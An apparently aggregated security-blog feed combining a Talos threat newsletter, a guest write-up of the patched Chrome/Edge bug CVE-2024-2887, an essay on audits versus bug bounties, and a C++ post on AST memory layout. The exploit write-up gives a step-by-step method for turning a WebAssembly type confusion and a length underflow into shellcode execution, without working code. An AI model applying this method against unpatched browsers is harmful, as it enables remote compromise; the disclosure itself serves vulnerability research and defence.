BEC is a tactic adversaries use to disguise themselves as legitimate members of a business and send phishing emails to other employees or third parties, often pointing to a malicious payload or engineering a scheme to steal money. The use of email-hiding inbox rules was the top-observed defense evasion technique, accounting for 21 percent of engagements this quarter, which was likely due to an increase in BEC and phishing within engagements. These are all valuable insights from the field provided in Talos IR’s full report. 

So now what? 

There are some known indicators of compromise that customers can look for if they suspect The lack of MFA remains one of the biggest impediments for enterprise security. All organizations should implement some form of MFA, such as Cisco Duo. The implementation of MFA and a single sign-on system can ensure only trusted parties are accessing corporate email accounts, to prevent the spread of BEC. If you’d like to read about other lessons from recent Talos IR engagements, read the one-pager here or the blog post here

Top security headlines of the week 

The chief executive of UnitedHealth Group testified to U.S. Congress on Wednesday regarding the recent cyber attack against Change Healthcare. Change’s operations went nearly completely dark for weeks earlier this year after a data breach, which likely resulted in millions of patients’ records and personal information being accessed. Lawmakers questioned whether UnitedHealth was too involved in the nation’s medical systems, as Change manages a third of all American patient records and processes more than 15 billion transactions a year at doctor’s offices, hospitals and other medical providers. As a result of the outage, some healthcare practitioners went more than a month without being paid, and many had to tap into their personal funds to keep offices open. UnitedHealth’s CEO told Congress the company was still working to figure out the full extent of the campaign and was talking to U.S. agencies about how to best notify individuals who were affected. The hearing has also generated a conversation around consolidation in the American healthcare industry and whether some groups are controlling too much of the patient base. (The New York Times, CNBC

Vulnerabilities in a popular phone tracking app could allow anyone to view all users’ locations. A security researcher recently found that iSharing, which allows users to see the exact location of a device, contains a vulnerability that prevented the app's servers from conducting proper checks of user data access. iSharing is advertised as an app for users who want to track friends' and family members’ locations or as an extra layer of security if their device were to be lost or stolen. The flaws also exposed users’ names, profile pictures, email addresses and phone numbers. The researcher who discovered the vulnerability was able to show a proof-of-concept exploitation almost immediately after creating a brand new account on the app. Representatives from the developers of iSharing told TechCrunch that the company’s logs did not show any signs of the vulnerability being exploited prior to the researcher’s disclosure. These types of apps can also be used as “stalkerware,” in which someone who knows a targeted user quietly downloads the app on a target’s phone, and then uses it to remotely track their location. (TechCrunch

Adversaries are hiding malware in GitHub comments, disguising malicious code as URLs associated with Microsoft repositories, and making the files appear trustworthy. Although some security researchers view this as a vulnerability, Microsoft maintains that it is merely a feature of using GitHub. While adversaries have so far mainly abused this feature to mirror Microsoft URLs, it could theoretically be used to create convincing lures on any GitHub repository. When a user leaves a comment in GitHub, they can attach a file, which is then uploaded to GitHub’s CDN and associated with the related project using a unique URL. GitHub automatically generates the link to download that attachment after adding the file to an unsaved comment, allowing threat actors to attach malware to any repository without the administrators knowing. This method has already been abused to distribute the Readline information-stealing trojan by attaching comments to Microsoft’s GitHub-hosted repositories for “vcpkg” and “STL.” The malicious URL will even still work if the poster deletes the comment, allowing them to reuse the GitHub-generated URL. (Bleeping Computer, Dark Reading

Can’t get enough Talos? 

 

Upcoming events where you can find Talos

RSA (May 6 - 9) 

San Francisco, California    

ISC2 SECURE Europe (May 29) 

Amsterdam, Netherlands 

Gergana Karadzhova-Dangela from Cisco Talos Incident Response will participate in a panel on “Using ECSF to Reduce the Cybersecurity Workforce and Skills Gap in the EU.” Karadzhova-Dangela participated in the creation of the EU cybersecurity framework, and will discuss how Cisco has used it for several of its internal initiatives as a way to recruit and hire new talent.  

Cisco Live (June 2 - 6) 

Las Vegas, Nevada  

Most prevalent malware files from Talos telemetry over the past week 

This section will be on a brief hiatus while we work through some technical difficulties. 

CVE-2024-2887: A Pwn2Own Winning Bug in Google Chrome

In this guest blog from Master of Pwn winner Manfred Paul, he details CVE-2024-2887 – a type confusion bug that occurs in both Google Chrome and Microsoft Edge (Chromium). He used this bug as a part of his winning exploit that led to code execution in the renderer of both browsers. This bug was quickly patched by both Google and Microsoft. Manfred has graciously provided this detailed write-up of the vulnerability and how he exploited it at the contest.


In this blog, I describe a means of exploiting the V8 JavaScript and WebAssembly engine to gain execution of arbitrary shellcode inside the renderer process. This includes a bypass of the V8 memory sandbox (Ubercage), though code execution is still constrained by the process isolation-based browser sandbox. For demonstration purposes, this limitation can be removed by running the browser with the --no- sandbox flag.

Root Cause of the WebAssembly Universal Type Confusion

A WebAssembly module may contain a type section that defines a list of custom “heap types”. In the base specification, this is used only to declare function types, but with the adoption of the garbage collection (GC) proposal [PDF], this section can additionally define struct types, allowing for the use of composite, heap-allocated types in WebAssembly.

Normally, a struct declared in this section may only reference structs that precede it (structs with a lower type index). To support mutually recursive data structures, a feature called recursive type groups is available. Instead of declaring the (potentially) mutually recursive types as individual entries in the type section, a recursive group is declared as a single type section entry. Within this group, individual types are declared, which are thereby allowed to reference each other.

With this in mind, consider the function responsible for parsing the type section from the binary WebAssembly format in v8/src/wasm/module-decoder-impl.h:

At (1), the limit kV8MaxWasmTypes (currently equal to 1,000,000) is passed as a maximum to consume_count(), ensuring that at most this many entries are read from the type section. When recursive type groups were added, this check became insufficient. While this code will permit only kV8MaxWasmTypes entries of the type section to be read, each of those can potentially be a recursive type group containing more than one individual type definition.

This insufficiency was clearly noticed at the time of this change, as together with recursive type groups a second check was added at (2). Here, for each recursive type group, it is checked that the addition of the constituent types would not exceed the kV8MaxWasmTypes limit.

However, this second check is still not enough. While it protects the indices of each type allocated inside a recursive group, the presence of those groups also has implications for types declared outside this group, as each recursive group adds to the total count of declared types.

To make this clearer, imagine a type section consisting of two entries: one recursive group containingkV8MaxWasmTypes entries, and following that group, one non-recursive type. The check at (1) is passed, as the section only has two entries. While processing the recursive group, the check at (2) is also passed, as the section has exactly kV8MaxWasmTypes entries. For the following single type, there is no further check: at (3) the type is simply allocated at the next free index. In this case, the index will be kV8MaxWasmTypes, exceeding the usual maximum of kV8MaxWasmTypes-1. If there were more than one non-recursive type at the end of the type section, they would similarly get assigned kV8MaxWasmTypes+1, kV8MaxWasmTypes+2, and so forth, as type indices.

Impact of the Root Cause

Exceeding the maximal number of declared heap types might seem like a very harmless resource exhaustion bug at first. However, due to some internal details of how V8 handles WebAssembly heap types, it directly allows constructing some very powerful exploit primitives.

In v8/src/wasm/value-type.h, the encoding of heap types is defined:

Here, V8 assumes that all user-defined heap types will be assigned indices smaller than kV8MaxWasmTypes. Larger indices are reserved for fixed, internal heap types (beginning with kFunc). This results in our own type declarations aliasing one of these internal types, leading to many opportunities for type confusion.

Universal WebAssembly Type Confusion

To leverage this encoding ambiguity into a full type confusion, let’s first consider the struct.new opcode, which produces a reference to a new struct created from fields given on the stack. The caller specifies the desired struct type by passing its type index. The relevant check on the type index can be found in v8/src/wasm/function-body-decoder-impl.h:

Following the validation logic into the has_struct() method from v8/src/wasm/wasm-module.h:

Since we can make types.size() exceed the usual limit of kV8MaxWasmTypes, we can make the check pass even if when passing an index larger than this value. This allows us to create a reference of an arbitrary internal type that points to the struct we can freely define.

On the other hand, consider now the handling of the ref.cast instruction:

Here, a type check elimination is performed. If TypeCheckAlwaysSucceeds returns true, then no actual type check is emitted and the value is simply reinterpreted as the target type.

The function TypeCheckAlwaysSucceeds ultimately calls IsHeapSubtypeOfImpl defined in v8/src/wasm/wasm-subtyping.cc:

This means that if our declared type index aliases the constant HeapType::kNone, the type check will always be elided if we cast to any non-function, non-external reference. In combination, we can use this to turn any reference type into any other by the following steps:

  1. In the type section, define a structure type with a single field of type anyref, and make this struct have a type index equal to HeapType::kNone using the bug described above.

  2. Place a non-null reference value of any type on the top of the stack and call struct.new with the type index set to HeapType::kNone. This will succeed, as has_struct() validates the index against the index established via the previous step.

  3. Also, declare a struct with a normal type index lower than kV8MaxWasmTypes with a single field of the target reference type. Call ref.cast with this this struct’s type index. The engine will not perform any type check, as the input value is at this point understood to be reference type HeapType::kNone.

  4. Finally, read back the reference stored in the struct by executing struct.get.

This arbitrary casting of reference types allows transmuting any value type into any other by referencing it, changing the reference type, and then dereferencing it – a universal type confusion.

In particular, this directly contains nearly all usual JavaScript engine exploitation primitives as special cases:

• Transmuting int to int* and then dereferencing results in an arbitrary read.

• Transmuting int to int* and then writing to that reference results in an arbitrary write.

• Transmuting externrefto int is the addrOf() primitive, obtaining the address of a JavaScript object.

• Transmuting int to externref is the fakeObj() primitive, forcing the engine to treat an arbitrary value as a pointer to a JavaScript object.

While casting from HeapType::kNone to an externref is not allowed, remember that we are actually operating on one more level of indirection - transmuting to externref involves casting to a reference to a struct containing one externref member.

Note however that these “arbitrary” reads and writes are still contained in the V8 memory sandbox, as all involved pointers to heap-allocated structures are tagged, compressed pointers inside the heap cage, not full 64-bit raw pointers.

Integer Underflow Leading to V8 Sandbox Escape

The primitives described above allow for freely manipulating and faking most JavaScript objects. However, all of this happens inside the limited memory space of the V8 sandbox. “Trusted” objects such as WebAssembly instance data cannot yet be manipulated. We will now turn our attention to a bug that can be used to escape the memory sandbox.

An often-used object for JavaScript engine exploits is ArrayBuffer and its corresponding views, (i.e. typed arrays), as it allows for direct, untagged access to some region of memory.

To prevent access to pointers outside the V8 sandbox, sandboxed pointers are used to designate a typed array’s corresponding backing store. Similarly, an ArrayBuffer’s length field is always loaded as a “bounded size access”, inherently limiting its value to a maximum of 235 − 1.

However, in modern JavaScript, the handling of typed arrays has become quite complex due to the introduction of resizable ArrayBuffers (RABs) and their sharable variant, growable SharedArrayBuffers (GSABs). Both variants feature the ability to change their length after the object has been created with the shared variant being restricted to never shrink. In particular, for typed arrays with these kinds of buffers, the array length can never be cached and must be recomputed on each access.

Additionally, ArrayBuffers also feature an offset field, describing the start of the data in the actual underlying backing store. This offset must be taken into account when computing the length.

Let’s now look at the code responsible for building a TypedArray’s length access in the optimizing Turbofan compiler. It can be found in v8/src/compiler/graph-assembler.cc. Note that most non-RAB/GSAB cases and the code responsible for dispatching are omitted for simplicity:

For arrays backed by a resizable ArrayBuffer, we can see at (1) that the length is computed as floor((byte_length - byte_offset) / element_size). Crucially, there is an underflow check. If byte_offset exceeds byte_length, then 0 is returned instead.

Curiously though, in the case of a GSAB-backed array, the corresponding underflow check is missing. Thus, if byte_offset is larger than byte_length, an underflow occurs and the subtraction wraps around to something close to the maximum unsigned 64-bit integer 264. As both of these fields are found in the (by now) attacker-controlled array object, we can easily trigger this using the sandboxed arbitrary read/write primitives discussed previously. This results in access to the whole 64-bit address space, as the length computed by this function is used to bound any typed array accesses (in JIT-compiled code).

Exploitation for Arbitrary Shellcode Execution

Using the two bugs described above, exploitation becomes fairly straightforward. The primitives described in the Universal WebAssembly Type Confusion section directly give arbitrary reads and writes within the V8 memory sandbox. This can then be used to manipulate a growable SharedArrayBuffer to have an offset greater than its length. A previously JIT-compiled read/write function can then be used to access and overwrite data anywhere in the process’s address space. An appropriate target for overwrite is the compiled code of a WebAssembly module, since that resides in an RWX (read-write-execute) page and can be overwritten with shellcode.


Thanks again to Manfred for providing this thorough write-up. He has contributed multiple bugs to the ZDI program over the last few years, and we certainly hope to see more submissions from him in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

Product Security Audits vs. Bug Bounty

1 May 2024 at 22:00

Every so often we see people discussing whether they still need to have product security audits (commonly referred to as pentests) because they have a bug bounty program. While the answer to this seems clear to us, it nonetheless is a recurring topic of discussion, particularly in the information security corners of social media. We’ve decided to publish our thoughts on this topic to clarify it for those who might still be unsure.

Product security audit team versus crowd-based security

Defining the approaches

Product Security Audit

What we refer to as a product security audit is a time-bound project, where one or more engineers focus on a particular application exclusively. The testing is performed by employees of an application security firm. This work is usually scoped ahead of time and billed at flat hourly/daily rates, with the total cost known to the client prior to commencing.

These can be white box (i.e., access to source code and documentation) or black box (i.e., no source code access, with or without documentation), or somewhere in the middle. There is usually a well-defined scope and often preliminary discussions on points of interest to investigate more closely than others. Frequently, there will also be a walkthrough of the application’s functionality. More often than not, the testing takes place in a predefined set of days and hours. This is typically when the client is available to respond to questions, react in the event of potential issues (e.g., a site going down) or possibly to avoid peak traffic times.

Because of the trust that clients have in professional firms, they will often permit them direct access to their infrastructure and code - something that is generally never done in a bug bounty program. This empowers the testers to find bugs that are potentially very difficult to find externally and things that may be out of scope for dynamic tests, such as denial-of-service vulnerabilities. Additionally, with this approach, it’s common to discover one vulnerability, only to then quickly discover it’s a systemic issue specifically because of the access to the code. With this access, it is also much easier to identify things like vulnerable dependencies, often buried deep in the application.

Once the testing is complete, the provider will usually supply a written report and may have a wrap-up call with the client. There may also be a follow-up (retest) to ensure a client’s attempts at remediation have been successful.

Bug Bounty Programs

What is most commonly referred to as a bug bounty program is typically an open-ended, ongoing effort where the testing is performed by the general public. Some companies may limit participation to a smaller group, permitting participation on whatever criteria they wish, with past performance in other programs being a commonly used factor.

Most programs define a scope of things to be tested and the vulnerability types that they are interested in receiving reports on. The client typically sets the payout amounts they are offering, with escalating rewards for more impactful discoveries. The client is also free to incentivize testing on certain areas through promotions (e.g., double bounties on their new product). Most bug bounty programs are exclusively black box, with no source code or documentation provided to the participating testers.

In most programs, there are no limits as to when the testing occurs. The participants determine if and when they perform testing. Because of this, any outages caused by the testing are usually treated as either normal engineering outages or potentially as security incidents. Some programs do ask their testers to identify their traffic via various means (e.g., passing a unique header) to more easily understand what they’re seeing in logs, if questions arise.

The bug bounty program’s concept of reporting is commonly individual bug reports, with or without a pre-formatted submission form. It is also common for programs to request that the person submitting the report validate the fix.

Hybrid Approaches

While not the focus of this post, we felt it was necessary to also acknowledge that there are hybrid approaches available. These offerings combine various aspects of both a bug bounty program and focused product security audits. We hope this post will inform the reader well enough to ensure they select the approach and mix of services that is right for their organization and fully understand what each entails.

Contrasting the approaches

From the definitions, the two approaches seem reasonably similar, but when we go below the surface, the differences become more apparent.

The people

It’s not fair to paint any group with a broad brush, but there are some clear differences between who typically works in a product security audit versus a bug bounty program. Both approaches can result in great people testing an application and both could potentially result in participants lacking the professionalism and/or skill set you hoped for.

When a firm is retained to perform testing for a client, the firm is staking their reputation on the client’s satisfaction. Most reputable firms will attempt to provide clients with the best people they have available, ideally considering their specific skills for the engagement. The firm assumes the responsibility to screen their employees’ technical abilities, usually through multiple rounds of testing and interviewing prior to hiring, along with ongoing supervision, training and mentoring. Clients are also often provided with summaries of the engineers’ résumés, with the option to request alternate testers, if they feel their background doesn’t match with the project. Lastly, providers are also usually required to perform criminal background checks on their staff to meet client requirements.

A Bug Bounty program usually has very minimal entry requirements. Typically this just means that the participants are not from embargoed countries. Participants could be anyone from professionals looking to make extra money, security researchers, college students or even complete novices looking to build a résumé. While theoretically a client may draw more eyes to their project than in a typical audit, that’s not guaranteed and there are no assurances of their qualifications. Katie Moussouris, a well-known CEO of a bug bounty consultancy, is quoted underscoring this point, saying “Their latest report shows most registered users are basically either fake or unskilled”. Further, per their own statistics, one of the largest platforms stated that only about one percent of their participants “were really doing well”. So, despite large potential numbers, the small percentage of productive participants will be stretched thinly across thousands of programs, at best. In reality, the top participants tend to aggregate around programs they feel are the most lucrative or interesting.

The process

When a client hires a quality firm to perform a product security audit, they’re effectively getting that firm’s collective body of knowledge. This typically means that their personnel have others within the company they can interact with if they encounter problems or need assistance. This also means that they likely have a proprietary methodology they adhere to, so clients should expect thorough and consistent results. Internal peer review and other quality assurance processes are also usually in place to ensure satisfactory results.

Generally, there are limitations on what a client wants or is able to share externally. It is common that a firm and client sign mutual NDAs, so neither party is allowed to disclose information about the audit. Should the firm leak information, they can potentially be held legally liable.

In a bug bounty program, each tester makes their own rules. They may overlap each other, creating repeated redundant tests, or they may compliment each other, giving the presumed advantage of many eyes. There is generally no way for a client to know what has or has not been tested. Clients may also find test accounts and data littered throughout the app (e.g., pop-up alerts everywhere), whereas professional testers are typically more restrained and required to not leave such remnants.

Most bug bounty programs don’t require a binding NDA, even if they are considered “private”. Therefore, clients are faced with a decision as to what and how much to share with the program participants. As a practical matter, there is little recourse if a participant decides to share information with others.

The results

When a client hires a firm, they should expect a well-written professional report. Most firms have a proprietary reporting format, but will usually also provide a machine-readable report upon request. In most cases, clients can preview a sample report prior to hiring a firm, so they can get a very clear picture of the deliverables.

Reports from professional audits are typically subjected to several rounds of quality control prior to being delivered to clients. This will typically include a technical review or validation of reported issues, in addition to language and grammar editing to ensure reports are readable and professionally constructed. Additionally, quality firms also understand the fact that the results may be reviewed by a wide audience at their clients. They will therefore invest the time and effort to construct them in such a way that an audience, with a wide range of technical knowledge, are all able to understand the results. Testers are also typically required to maintain testing logs and quality documentation of all issues (e.g., screenshots - including requests and responses). This ensures clear findings reports and reproduction steps along with all the supporting materials.

Through personalized relationships with clients and potentially their source code, firms have the opportunity to understand what is important to them, which things keep them up at night and which things they aren’t concerned about. Through kickoff meetings, ongoing direct communication and wrap-up meetings, firms build trust and understanding with clients. This allows them to look at vulnerabilities of all severity levels and understand the context for the client. This could result in simply saving the client’s time or recognizing when a medium severity issue is actually a critical issue, for that client’s organization.

Further, repeated testing allows a client to tangibly demonstrate their commitment to security and how quickly they remediate issues. Additionally, product security audits conducted by experienced engineers, especially those with source code access, can highlight long-term improvements and hardening measures that can be taken, which would not generally be a part of a bug bounty program’s reports.

In a bug bounty program, the results are unpredictable, often seemingly driven mainly by the participants’ focus on payouts. Most companies end up inundated with effectively meaningless reports. Whether valid or not, they are often unrealistic, overhyped, known CVEs or previously known bugs, or issues the organization doesn’t actually care about. It is rare that results fully meet expectations, but not impossible. Submissions tend to cluster around things pushing (often quite imaginatively) to be considered critical or high severity, to gain the largest payouts or the low hanging fruits detected by automated scanners, usually reported by the lower rated participants looking for any type of payouts, no matter how trivial. The reality is that clients need to pay a premium to get the “good researchers” to participate, but on public programs that itself can also cause a significant uptick in “spam” reports.

Bug bounty reports are typically not formatted in a consistent manner and not machine-readable for ingestion into defect tracking software. Historically, there have been numerous issues that have arisen from reports which were difficult to triage due to language issues, poor grammar or bad proof-of-concept media (e.g., unhelpful screenshots, no logs, meandering videos). To address this, some platforms have gone as far as to incentivize participants to provide clear and easily readable reports via increased payouts, or positive reviews which impact the reporters’ reputation scores.

The value

A professional audit is something that produces a deliverable that a client can hand to a third-party, if necessary. While there is a fixed cost for it, regardless of the results, this documented testing is often required by partner companies and for compliance reasons. Furthermore, when using a reputable firm, a client may find it easier to pass the security requirements of their partners. Lastly, should there be an incident, a client can attest to their due diligence and potentially lessen their legal liability.

A bug bounty provides no assurances as to the amount of the application that is tested (i.e., the “coverage”). It neither produces an acceptable deliverable that can be offered to third parties, nor does it attest to the quality of the skills of those testing the application(s). Further, bug bounty programs don’t typically satisfy any compliance requirements with respect to testing requirements.

Summary

In the following table, we perform a side-by-side comparison of the two approaches to make the differences clearer.

Product Security Audit versus Bug Bounty table

Conclusion

Which approach an organization decides to take will vary based on many factors including budget, compliance requirements, partner requirements, time-sensitivity and confidentiality requirements. For most organizations, we feel the correct approach is a balanced one.

Ideally, an organization should perform recurring product security audits at least quarterly and after major changes. If budgets don’t permit that frequency of testing, the typical compromise is annually, at an absolute minimum.

Bug bounty programs should be used to fill the gaps between rigorous security audits, whether those audits are performed by internal teams or external partners. This is arguably the need they were designed to fill, rather than replacing recurring professional testing.

The life and times of an Abstract Syntax Tree

2 May 2024 at 13:00

By Francesco Bertolaccini

You’ve reached computer programming nirvana. Your journey has led you down many paths, including believing that God wrote the universe in LISP, but now the truth is clear in your mind: every problem can be solved by writing one more compiler.

It’s true. Even our soon-to-be artificially intelligent overlords are nothing but compilers, just as the legends foretold. That smart contract you’ve been writing for your revolutionary DeFi platform? It’s going through a compiler at some point.

Now that we’ve established that every program should contain at least one compiler if it doesn’t already, let’s talk about how one should go about writing one. As it turns out, this is a pretty vast topic, and it’s unlikely I’d be able to fit a thorough disquisition on the subject in the margin of this blog post. Instead, I’m going to concentrate on the topic of Abstract Syntax Trees (ASTs).

In the past, I’ve worked on a decompiler that turns LLVM bitcode into Clang ASTs, and that has made me into someone with opinions about them. These are opinions on the things they don’t teach you in school, like: what should the API for an AST look like? And how should it be laid out in memory? When designing a component from scratch, we must consider those aspects that go beyond its mere functionality—I guess you could call these aspects “pragmatics.” Let’s go over a few of them so that if you ever find yourself working with ASTs in the future, you may skip the more head-scratching bits and go straight to solving more cogent problems!

What are ASTs?

On their own, ASTs are not a very interesting part of a compiler. They are mostly there to translate the dreadful stream of characters we receive as input into a more palatable format for further compiler shenanigans. Yet the way ASTs are designed can make a difference when working on a compiler. Let’s investigate how.

Managing the unmanageable

If you’re working in a managed language like C# or Java, one with a garbage collector and a very OOP type system, your AST nodes are most likely going to look something like this:

class Expr {}
class IntConstant : Expr {
    int value;
}
class BinExpr : Expr {
    public Expr lhs;
    public Expr rhs;
}

This is fine—it serves the purpose well, and the model is clear: since all of the memory is managed by the runtime, ownership of the nodes is not really that important. At the end of the day, those nodes are not going anywhere until everyone is done with them and the GC determines that they are no longer reachable.

(As an aside, I’ll be making these kinds of examples throughout the post; they are not meant to be compilable, only to provide the general idea of what I’m talking about.)

I typically don’t use C# or Java when working on compilers, though. I’m a C++ troglodyte, meaning I like keeping my footguns cocked and loaded at all times: since there is no garbage collector around to clean up after the mess I leave behind, I need to think deeply about who owns each and every one of those nodes.

Let’s try and mimic what was happening in the managed case.

The naive approach

struct Expr {
    virtual ~Expr();
};
struct IntConstant : Expr {
    int value;
};
struct BinExpr : Expr {
    std::shared_ptr lhs;
    std::shared_ptr rhs;
};

Shared pointers in C++ use reference counting (which one could argue is a form of automatic garbage collection), which means that the end result is similar to what we had in Java and C#: each node is guaranteed to stay valid at least until the last object holding a reference to it is alive.

That at least in the previous sentence is key: if this was an Abstract Syntax Graph instead of an Abstract Syntax Tree, we’d quickly find ourselves in a situation where nodes would get stuck in a limbo of life detached from material reality, a series of nodes pointing at each other in a circle, forever waiting for someone else to die before they can finally find their eternal rest as well.

Again, this is a purely academic possibility since a tree is by definition acyclic, but it’s still something to keep in mind.

I don’t know Rust that well, but it is my understanding that a layout roughly equivalent to the one above would be written like this:

enum Expr {
    IntConstant(i32),
    BinExpr(Arc<Expr>, Arc<Expr>)
}

When using this representation, your compiler will typically hold a reference to a root node that causes the whole pyramid of nodes to keep standing. Once that reference is gone, the rest of the nodes follow suit.

Unfortunately, each pointer introduces additional computation and memory consumption due to its usage of an atomic reference counter. Technically, one could avoid the “atomic” part in the Rust example by using Rc instead of Arc, but there’s no equivalent of that in C++ and my example would not work as well. In my experience, it’s quite easy to do away with the ceremony of making each node hold a reference count altogether, and instead decide on a more disciplined approach to ownership.

The “reverse pyramid” approach

struct Expr {
    virtual ~Expr();
};
struct IntConstant : Expr {
    int value;
};
struct BinExpr : Expr {
    std::unique_ptr lhs;
    std::unique_ptr rhs;
};

Using unique pointers frees us from the responsibility of keeping track of when to free memory without adding the overhead of reference counting. While it’s not possible for multiple nodes to have an owning reference to the same node, it’s still possible to express cyclic data structures by dereferencing the unique pointer and storing a reference instead. This is (very) roughly equivalent to using std::weak_ptr with shared pointers.

Just like in the naive approach, destroying the root node of the AST will cause all of the other nodes to be destroyed with it. The difference is that in this case we are guaranteed that this will happen, because every child node is owned by their parent and no other owning reference is possible.

I believe this representation is roughly equivalent to this Rust snippet:

enum Expr {
    IntConstant(i32),
    BinExpr(Box<Expr>, Box<Expr>)
}

Excursus: improving the API

We are getting pretty close to what I’d call the ideal representation, but one thing I like to do is to make my data structures as immutable as possible.

BinExpr would probably look like this if I were to implement it in an actual codebase:

class BinExpr : Expr {
    std::unique_ptr lhs, rhs;
public:
    BinExpr(std::unique_ptr lhs, std::unique_ptr rhs)
        : lhs(std::move(lhs))
        , rhs(std::move(rhs)) {}   
    const Expr& get_lhs() const { return *lhs; }
    const Expr& get_rhs() const { return *rhs; }
};

This to me signals a few things:

  • Nodes are immutable.
  • Nodes can’t be null.
  • Nodes can’t be moved; their owner is fixed.

Removing the safeguards

The next step is to see how we can improve things by removing some of the safeguards that we’ve used so far, without completely shooting ourselves in the foot. I will not provide snippets on how to implement these approaches in Rust because last time I asked how to do that in my company’s Slack channel, the responses I received were something like “don’t” and “why would you do that?” and “someone please call security.” It should not have been a surprise, as an AST is basically a linked list with extra steps, and Rust hates linked lists.

Up until now, the general idea has been that nodes own other nodes. This makes it quite easy to handle the AST safely because the nodes are self-contained.

What if we decided to transfer the ownership of the nodes to some other entity? It is, after all, quite reasonable to have some sort of ASTContext object we can assume to handle the lifetime of our nodes, similar to what happens in Clang.

Let’s start by changing the appearance of our Expr nodes:

struct BinExpr : Expr {
    const Expr& lhs;
    const Expr& rhs;
};

Now we create a storage for all of our nodes:

vector<unique_ptr> node_storage;
auto &lhs = node_storage.emplace_back(make_unique(...));
auto &rhs = node_storage.emplace_back(make_unique(...));
auto &binexp = node_storage.emplace_back(make_unique(*lhs, *rhs));

Nice! node_storage is now the owner of all the nodes, and we can iterate over them without having to do a tree visit. In fact, go watch this talk about the design of the Carbon compiler, about 37 minutes in: if you keep your pattern of creating nodes predictable, you end up with a storage container that’s already sorted in, e.g., post-visit order!

Variants on a theme

Let’s now borrow a trick from Rust’s book: the Expr class I’ve been using up until this point is an old-school case of polymorphism via inheritance. While I do believe inheritance has its place and in many cases should be the preferred solution, I do think that ASTs are one of the places where discriminated unions are the way to go.

Rust calls discriminated unions enum, whereas C++17 calls them std::variant. While the substance is the same, the ergonomics are not: Rust has first class support for them in its syntax, whereas C++ makes its users do template metaprogramming tricks in order to use them, even though they do not necessarily realize it.

The one feature I’m most interested in for going with variant instead of inheritance is that it turns our AST objects into “value types,” allowing us to store Expr objects directly instead of having to go through an indirection via a reference or pointer. This will be important in a moment.

The other feature that this model unlocks is that we get the Visitor pattern implemented for free, and we can figure out exactly what kind of node a certain value is holding without having to invent our own dynamic type casting system. Looking at you, LLVM. And Clang. And MLIR.

Going off the rails

Let’s take a look back at an example I made earlier:

vector<unique_ptr> node_storage;
auto &lhs = node_storage.emplace_back(make_unique(...));
auto &rhs = node_storage.emplace_back(make_unique(...));
auto &binexp = node_storage.emplace_back(make_unique(*lhs, *rhs));

There’s one thing that bothers me about this: double indirection, and noncontiguous memory allocation. Think of what the memory layout for this storage mechanism looks like: the vector will have a contiguous chunk of memory allocated for storing pointers to all of the nodes, then each pointer will have an associated chunk of memory the size of a node which, as mentioned earlier, varies for each kind of node.

What this means is that our nodes, even if allocated sequentially, have the potential to end up scattered all over the place. They say early optimization is the root of all evil, but for the sake of exhausting all of the tricks I have up my sleeve, I’ll go ahead and show a way to avoid this.

Let’s start by doing what I said I’d do earlier, and use variant for our nodes:

struct IntConstant;
struct BinExpr;
using Expr = std::variant<IntConstant, BinExpr>;


struct IntConstant {
    int value;
};
struct BinExpr  {
    Expr &lhs;
    Expr &rhs;
};

Now that each and every node has the same size, we can finally store them contiguously in memory:

std::vector node_storage;
node_storage.reserve(max_num_nodes);
auto &lhs = node_storage.emplace_back(IntConstant{3});
auto &rhs = node_storage.emplace_back(IntConstant{4});
auto &binexp = node_storage.emplace_back(BinExpr{lhs, rhs});

You see that node_storage.reserve call? That’s not an optimization—that is an absolutely load-bearing part of this mechanism.

I want to make it absolutely clear that what’s happening here is the kind of thing C++ gets hate for. This is a proverbial gun that, should you choose to use it, will be strapped at your hip pointed at your foot, fully loaded and ready to blow your leg off if at any point you forget it’s there.

The reason we’re using reserve in this case is that we want to make sure that all of the memory we will potentially use for storing our nodes is allocated ahead of time, so that when we use emplace_back to place a node inside of it, we are guaranteed that that chunk of memory will not get reallocated and change address. (If that were to happen, any of our nodes that contain references to other nodes would end up pointing to garbage, and demons would start flying out of your nose.)

Using vector and reserve is of course not the only way to do this: using an std::array is also valid if the maximum number of nodes you are going to use is known at compile time.

Ah yes, max_num_nodes. How do you compute what that is going to be? There’s no single good answer to this question, but you can find decent heuristics for it. For example, let’s say you are parsing C: the smallest statement I can think of would probably look something like a;, or even more extremely, just a. We can deduce that, if we want to be extremely safe, we could allocate storage for a number of nodes equal to the amount of characters in the source code we’re parsing. Considering that most programs will not be anywhere close to this level of pathological behavior, it’s reasonable to expect that most of that memory will be wasted. Unfortunately, we can’t easily reclaim that wasted memory with a simple call to shrink_to_fit, as that can cause a reallocation.

The technique you can use in that case, or in the case where you absolutely cannot avoid allocating additional memory, is to actually do a deep clone of the AST, visiting each node and painstakingly creating a new counterpart for it in the new container.

One thing to keep in mind, when storing your AST nodes like this, is that the size of each node will now be equal to the size of the largest representable node. I don’t think that this matters that much, since you should try and keep all of your nodes as small as possible anyway, but it’s still worth thinking about.

Of course, it might be the case that you don’t actually need to extract the last drop of performance and memory efficiency out of your AST, and you may be willing to trade some of those in exchange for some ease of use. I can think of three ways of achieving this:

  1. Use std::list.
  2. Use std::deque.
  3. Use indices instead of raw pointers.

Let’s go through each of these options one at a time.

Use std::list instead of std::vector

Don’t. ‘Nuff said.

Alright, fine. I’ll elaborate.

Linked lists were fine in the time when the “random access” part of RAM was not a lie yet and memory access patterns didn’t matter. Using a linked list for storing your nodes is just undoing all of the effort we’ve gone through to optimize our layout.

Use std::deque instead of std::vector

This method is already better! Since we’ll mostly just append nodes to the end of our node storage container, and since a double-ended queue guarantees that doing so is possible without invalidating the addresses of any existing contents, this looks like a very good compromise.

Unfortunately the memory layout won’t be completely contiguous anymore, but you may not care about that. If you are using Microsoft’s STL, though, you have even bigger issues ahead of you.

Use indices instead of raw pointers

The idea is that instead of storing the pointer of a child node, you store the index of that node inside of the vector. This adds a layer of indirection back into the picture, and you now also have to figure out what vector does this index refer to? Do you store a reference to the vector inside each node? That’s a bit of a waste. Do you store it globally? That’s a bit icky, if you ask me.

Parting thoughts

I’ve already written a lot and I’ve barely scratched the surface of the kind of decisions a designer will have to make when writing a compiler. I’ve talked about how you could store your AST in memory, but I’ve said nothing about what you want to store in your AST.

The overarching theme in this exhilarating overview is that there’s a lot about compilers that goes beyond parsing, and all of the abstract ideas needed to build a compiler need concretizing at some point, and the details on how you go about doing that matter. I also feel obligated to mention two maxims one should keep in mind when playing this sort of game: premature optimization is the root of all evil, and always profile your code—it’s likely that your codebase contains lower-hanging fruit you can pick before deciding to fine-tune your AST storage.

